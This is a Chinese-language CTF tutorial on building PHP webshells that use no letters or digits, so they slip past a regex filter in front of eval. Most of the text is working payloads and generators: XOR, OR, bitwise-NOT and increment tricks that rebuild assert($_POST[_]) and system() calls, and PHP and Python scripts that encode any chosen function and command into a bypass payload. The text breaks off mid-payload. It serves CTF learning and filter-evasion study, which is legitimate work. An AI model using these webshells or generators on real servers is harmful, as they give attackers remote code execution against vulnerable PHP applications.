前言
无字母数字 Webshell 是个老生常谈的东西了,之前打 CTF 的时候也经常会遇到,每次都让我头大。由于一直没有去系统的研究过这个东西,今天就好好学习学习。
所谓无字母数字 Webshell,其基本原型就是对以下代码的绕过:
php
if (! preg_match ( '/[a-z0-9]/is' , $_GET [ 'shell' ])) {
eval ( $_GET [ 'shell' ]);
}
这段代码限制了我们传入 shell 参数中的值不能存在字母和数字。
下面我们来说说答题的思路:
首先,代码确实是限制了我们的 Webshell 不能出现任何字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出
a-z0-9
中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 "assert"、"system"、"file_put_contents"、"call_user_func" 等危险函数然后动态执行即可。
说道 PHP 代码动态执行我们要注意的是,在 PHP 5 中 assert() 是一个函数,我们可以通过
$f='assert';$f(...);
这样的方法来动态执行任意代码,此时它可以起到替代 eval() 的作用。但是在 PHP 7 中,assert() 不再是函数了,而是变成了一个和 eval() 一样的语言结构,此时便和 eval() 一样不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents() 函数,同样可以用来 Getshell 。
基础知识
PHP 短标签
我们最常见的 PHP 标签就是
了,但是 PHP 中还有两种短标签,即
?>
和
= ?>
。当关键字 "php" 被过滤了之后,此时我们便不能使用
了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号
;
。
其中,
?>
相当于对
的替换。而
= ?>
则是相当于
。例如:
= 'Hello World' ?> // 输出 "Hello World"
PHP 中的反引号
PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:
image-20210507231346360
还可以使用
= ?>
短标签(比较灵活):
image-20210507231517299
通配符在 RCE 中的利用
先说一下原理:
•
在正则表达式中,
?
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。
•
在 Shell 命令行中,
?
这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道
*
通配符:
•
在正则表达式中,
*
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。
•
在shell命令行中,
*
这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。
所以,我们利用
?
和
*
在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤,如下实例:
假设 flag 在/ flag 中:
cat / fla ?
cat / fla *
假设 flag 在/ flag . txt 中:
cat / fla ????
cat / fla *
假设 flag 在/ flags / flag . txt 中:
cat / fla ??/ fla ????
cat / fla */ fla *
假设 flag 在 flagg 文件加里:
cat /?????/ fla ?
cat /?????/ fla *
我们可以用以上格式的 Payload 都可以读取到flag。
PHP 5 和 PHP 7 的区别
(1)在 PHP 5 中,
assert()
是一个函数,我们可以用
$_=assert;$_()
这样的形式来实现代码的动态执行。但是在 PHP 7 中,
assert()
变成了一个和
eval()
一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)
(2)PHP5中,是不支持
($a)()
这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写
('phpinfo')();
异或运算绕过
绕过原理
在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。
例如,我们异或
?
和
~
之后得到的是
A
:
基于此原理我们可以构造出无字母数字的 Webshell,下面是 PHITHON 师傅的一个 Payload:
php
$_ =( '%01' ^ '`' ).( '%13' ^ '`' ).( '%13' ^ '`' ).( '%05' ^ '`' ).( '%12' ^ '`' ).( '%14' ^ '`' ); // $_='assert';
$__ = '_' .( '%0D' ^ ']' ).( '%2F' ^ '`' ).( '%0E' ^ ']' ).( '%09' ^ ']' ); // $__='_POST';
$___ = $$__ ;
$_ ( $___ [ _ ]); // assert($_POST[_]);
看到代码中的下划线
_
、
__
、
___
是一个变量,因为 preg_match() 过滤了所有的字母,我们只能用下划线来作变量名。最后拼接起来 Payload 如下:
$_ =( '%01' ^ '`' ).( '%13' ^ '`' ).( '%13' ^ '`' ).( '%05' ^ '`' ).( '%12' ^ '`' ).( '%14' ^ '`' ); $__ = '_' .( '%0D' ^ ']' ).( '%2F' ^ '`' ).( '%0E' ^ ']' ).( '%09' ^ ']' ); $___ = $$__ ; $_ ( $___ [ _ ]);
// 密码为 "_"
测试效果如下:
构造脚本
下面给出一个异或绕过的脚本:
php
$myfile = fopen ( "xor_rce.txt" , "w" );
$contents = "" ;
for ( $i = 0 ; $i < 256 ; $i ++) {
for ( $j = 0 ; $j < 256 ; $j ++) {
if ( $i < 16 ){
$hex_i = '0' . dechex ( $i );
}
else {
$hex_i = dechex ( $i );
}
if ( $j < 16 ){
$hex_j = '0' . dechex ( $j );
}
else {
$hex_j = dechex ( $j );
}
$preg = '/[a-z0-9]/i' ; // 根据题目给的正则表达式修改即可
if ( preg_match ( $preg , hex2bin ( $hex_i ))|| preg_match ( $preg , hex2bin ( $hex_j ))){
echo
"" ;
}
else {
$a = '%' . $hex_i ;
$b = '%' . $hex_j ;
$c =( urldecode ( $a )^ urldecode ( $b ));
if ( ord ( $c )>= 32 & ord ( $c )<= 126 ) {
$contents = $contents . $c . " " . $a . " " . $b . "\n" ;
}
}
}
}
fwrite ( $myfile , $contents );
fclose ( $myfile );
首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果。
接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
# -*- coding: utf-8 -*-
def action ( arg ):
s1 = ""
s2 = ""
for i in arg :
f = open ( "xor_rce.txt" , "r" )
while True :
t = f . readline ()
if t == "" :
break
if t [ 0 ]== i :
#print(i)
s1 += t [ 2 : 5 ]
s2 += t [ 6 : 9 ]
break
f . close ()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return ( output )
while True :
param = action ( input ( "\n[+] your function:" ) )+ action ( input ( "[+] your command:" ))+ ";"
print ( param )
[+] your function : system
[+] your command : ls /
( "%08%02%08%08%05%0d" ^ "%7b%7b%7b%7c%60%60" )( "%0c%08%00%00" ^ "%60%7b%20%2f" );
测试效果如下:
或运算绕过
绕过原理
在前面异或绕过中我们说了,PHP 中两个字符串异或之后得到的还是一个字符串。那么或运算原理也是一样,如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串。
构造脚本
下面给出一个或运算绕过的脚本:
php
$myfile = fopen ( "or_rce.txt" , "w" );
$contents = ""
;
for ( $i = 0 ; $i < 256 ; $i ++) {
for ( $j = 0 ; $j < 256 ; $j ++) {
if ( $i < 16 ){
$hex_i = '0' . dechex ( $i );
}
else {
$hex_i = dechex ( $i );
}
if ( $j < 16 ){
$hex_j = '0' . dechex ( $j );
}
else {
$hex_j = dechex ( $j );
}
$preg = '/[0-9a-z]/i' ; // 根据题目给的正则表达式修改即可
if ( preg_match ( $preg , hex2bin ( $hex_i ))|| preg_match ( $preg , hex2bin ( $hex_j ))){
echo "" ;
}
else {
$a = '%' . $hex_i ;
$b = '%' . $hex_j ;
$c =( urldecode ( $a )| urldecode
( $b ));
if ( ord ( $c )>= 32 & ord ( $c )<= 126 ) {
$contents = $contents . $c . " " . $a . " " . $b . "\n" ;
}
}
}
}
fwrite ( $myfile , $contents );
fclose ( $myfile );
首先运行以上 PHP 脚本后,会生成一个 txt 文档or_rce.txt,里面包含所有可见字符的或运算构造结果。
接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
# -*- coding: utf-8 -*-
def action ( arg ):
s1 = ""
s2 = ""
for i in arg :
f = open ( "or_rce.txt" , "r" )
while True :
t = f . readline ()
if t == "" :
break
if t [ 0 ]== i :
#print(i)
s1 += t [ 2 : 5 ]
s2 += t [ 6 : 9 ]
break
f
. close ()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return ( output )
while True :
param = action ( input ( "\n[+] your function:" ) )+ action ( input ( "[+] your command:" ))+ ";"
print ( param )
[+] your function : system
[+] your command : ls /
( "%13%19%13%14%05%0d" | "%60%60%60%60%60%60" )( "%0c%13%00%00" | "%60%60%20%2f" );
测试效果如下:
取反运算绕过
绕过原理
该方法和前面那两种绕过的方法有异曲同工之妙,唯一差异就是,这里使用的是位运算里的 “取反” 运算。
先来看看 PHITHON 师傅的汉字取反绕过,利用的是 UTF-8 编码的某个汉字,将其中某个字符取出来,比如
'和'{2}
的结果是
"\x8c"
,其再取反即可得到字母
s
:
echo ~( '瞰' { 1 }); // a
echo ~( '和' { 2 }); // s
echo ~( '和' { 2 }); // s
echo ~( '的' { 1 }); // e
echo ~( '半' { 1 }); // r
echo ~( '始' { 2 });
// t
这里直接给出 PHITHON 师傅的 Webshell:
$__ =( '>' > ')+( '>' > '); // $__=2, 利用PHP的弱类型的特点获取数字
$_ = $__ / $__ ; // $_=1
$____ = '' ; $___ = "瞰" ; $____ .=~( $___ { $_ }); $___ = "和" ; $____ .=~( $___ { $__ }); $___ = "和" ; $____ .=~( $___ { $__ }); $___ = "的" ; $____ .=~( $___ { $_ }); $___ = "半" ; $____ .=~( $___ { $_ }); $___ = "始" ; $____ .=~( $___ { $__ }); // $____=assert
$_____ = _ ; $___ = "俯" ; $_____ .=~( $___ { $__ }); $___ = "瞰" ; $_____ .=~( $___ { $__ }); $___ = "次" ; $_____ .=~( $___ { $_ }); $___ = "站" ; $_____ .=~( $___ { $_ }); // $_____=_POST
$_ = $$_____ ; // $_=$_POST
$____ ( $_ [ $__ ]); // assert($_POST[2])
缩减后即:
$__ =( '>' > ')+( '>' > '); $_ = $__ / $__ ; $____ =
'' ; $___ = "瞰" ; $____ .=~( $___ { $_ }); $___ = "和" ; $____ .=~( $___ { $__ }); $___ = "和" ; $____ .=~( $___ { $__ }); $___ = "的" ; $____ .=~( $___ { $_ }); $___ = "半" ; $____ .=~( $___ { $_ }); $___ = "始" ; $____ .=~( $___ { $__ }); $_____ = _ ; $___ = "俯" ; $_____ .=~( $___ { $__ }); $___ = "瞰" ; $_____ .=~( $___ { $__ }); $___ = "次" ; $_____ .=~( $___ { $_ }); $___ = "站" ; $_____ .=~( $___ { $_ }); $_ = $$_____ ; $____ ( $_ [ $__ ]);
或:
$__ =( '>' > ')+( '>' > '); $_ = $__ / $__ ; $____ = '' ; $___ =瞰; $____ .=~( $___ { $_ }); $___ =和; $____ .=~( $___ { $__ }); $___ =和; $____ .=~( $___ { $__ }); $___ =的; $____ .=~( $___ { $_ }); $___ =半; $____ .=~( $___ { $_ }); $___ =始; $____ .=~( $___ { $__ }); $_____ = _ ; $___ =俯; $_____ .=~( $___ { $__ }); $___ =瞰; $_____ .=~( $___ { $__ }); $___ =次;
$_____ .=~( $___ { $_ }); $___ =站; $_____ .=~( $___ { $_ }); $_ = $$_____ ; $____ ( $_ [ $__ ]);
注意:
执行的时候要进行一次 URL 编码,否则 Payload 无法执行。
测试效果如下:
URL 编码取反绕过
刚才我们介绍的是通过取反汉字来得到我们想要的字母,我们还可以直接对一串恶意代码进行取反然后 URL 编码,在发送 Payload 的时候再次将其取反便可将代码还原,然后将其动态执行。并且,因为是取反,基本上用的都是不可见字符,所以不会触发到正则表达式。
假设我们要构造一个
phpinfo();
,由于因为没有过滤括号,所以只需要先取反再编码字符串 "phpinfo" 就行了:
然后构造出我们的 Payload:
(~% 8F % 97 % 8F % 96 % 91 % 99 % 90 )(); // phpinfo();
测试效果如下:
phpinfo()
是没有参数的,如果需要执行有参数的函数的话,比如
system('whoami');
,则应分别对其中的字符进行编码:
然后构造出我们的 Payload:
(~% 8C % 86 % 8C % 8B % 9A % 92 )(~% 93 % 8C % DF % D0 ); // system('ls /');
测试效果如下:
构造脚本
直接运行以下脚本并输入提示内容即可生成 Payload:
php
//在命令行中运行
fwrite ( STDOUT , '[+]your function: ' );
$system =
str_replace ( array ( "\r\n" , "\r" , "\n" ), "" , fgets ( STDIN ));
fwrite ( STDOUT , '[+]your command: ' );
$command = str_replace ( array ( "\r\n" , "\r" , "\n" ), "" , fgets ( STDIN ));
echo '[*] (~' . urlencode (~ $system ). ')(~' . urlencode (~ $command ). ');' ;
[+] your function : system
[+] your command : ls /
[*] (~% 8C % 86 % 8C % 8B % 9A % 92 )(~% 93 % 8C % DF % D0 );
自增绕过
绕过原理
首先我们来看一看 PHP 中自增自减的一个特性:
也就是说:
"A" ++ ==> "B"
"B" ++ ==> "C"
......
所以,只要我们能拿到一个变量,其值为
a
,那么通过自增操作即可获得
a-z
中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?我们发现,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为
Array
:
image-20210507012008922
而
Array
的第一个字母就是大写 A,而且第4个字母是小写 a。也就是说我们可以同时拿到小写 a 和大写 A,那么我们就可以拿到
a-z
和
A-Z
的所有字母:
下面给出 PHITHON 师傅编写的 Webshell:
php
$_ =[];
$_ =@ "$_" ; // $_='Array';
$_ = $_ [ '!' == '@' ]; // $_=$_[0];
$___ = $_ ; // A
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++;
$___ .= $__ ; // S
$___ .= $__ ; // S
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; // E
$___ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; // R
$___ .= $__
;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; // T
$___ .= $__ ;
$____ = '_' ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; // P
$____ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; // O
$____ .= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; // S
$____
.= $__ ;
$__ = $_ ;
$__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; // T
$____ .= $__ ;
$_ = $$____ ;
$___ ( $_ [ _ ]); // ASSERT($_POST[_]);
缩减后即:
$_ =[]; $_ =@ "$_" ; $_ = $_ [ '!' == '@' ]; $___ = $_ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $___ .= $__ ; $___ .= $__ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $___ .= $__ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $___
.= $__ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $___ .= $__ ; $____ = '_' ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $____ .= $__ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $____ .= $__ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $____ .= $__ ; $__ = $_ ; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__ ++; $__
++; $____ .= $__ ; $_ = $$____ ; $___ ( $_ [ _ ]);
注意:
执行的时候要进行一次 URL 编码,否则 Payload 无法执行。
测试效果如下:
image-20210507012808369
脑洞大开
看完上面的几种绕过姿势后,你也许对无字母数字 Webshell 的构造思路有了一定的了解,下面所讲的几种骚姿势会更加让你脑洞大开。
绕过
_
下划线
在前文中我们可以看到,很多 Payload 的构造都用到了下划线
_
作为变量名。但即便是下划线
_
被过滤了,我们也根本无需担心,因为我们本就可以不用
_
。
•
比如我们前面的像下面那几种 Payload 就没有用到
_
:
( "%08%02%08%08%05%0d" ^ "%7b%7b%7b%7c%60%60" )( "%0c%08%00%00" ^ "%60%7b%20%2f" );
( "%13%19%13%14%05%0d" | "%60%60%60%60%60%60" )( "%0c%13%00%00" | "%60%60%20%2f" );
(~% 8C % 86 % 8C % 8B % 9A % 92 )(~% 93 % 8C % DF % D0 );
•
再来看看另一个师傅用过这样的 Payload,也可以绕过,而且效果极好:
$ {% ff % ff % ff % ff ^% a0 % b8 % ba % ab }{% ff }();&% ff = phpinfo
解释一下这个师傅的绕过手法:
$ {% ff % ff % ff % ff ^% a0 % b8 % ba % ab }{% ff }();&% ff = phpinfo
即:
$ { _GET }{% ff }();&% ff = phpinfo
//?shell=${_GET}{%ff}();&%ff=phpinfo
任何字符与 0xff 异或都会取相反,这样就能减少运算量了。注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用
{}
代替,原因是 PHP 的 use of undefined constant 特性。例如
${_GET}{a}
这样的语句 PHP 是不会判为错误的,因为
{}
是用来界定变量的,这句话就是会将
_GET
自动看为字符串,也就是
$_GET['a']
。
${_GET}{%ff}
后面那个
()
为的是能够动态执行传入的 PHP 函数。
如果想要执行代函数的函数比如
system('whoami')
,那我们可以对后面括号里的参数做相同的编码处理:
$ {% ff % ff % ff % ff ^% a0 % b8 % ba % ab }{% ff }(% ff % ff % ff % ff % ff % ff ^% 88 % 97 % 90 % 9E % 92 % 96 );&% ff = system
$ {% ff % ff % ff % ff ^% a0 % b8 % ba % ab }{% ff }(% ff % ff % ff % ff % ff % ff %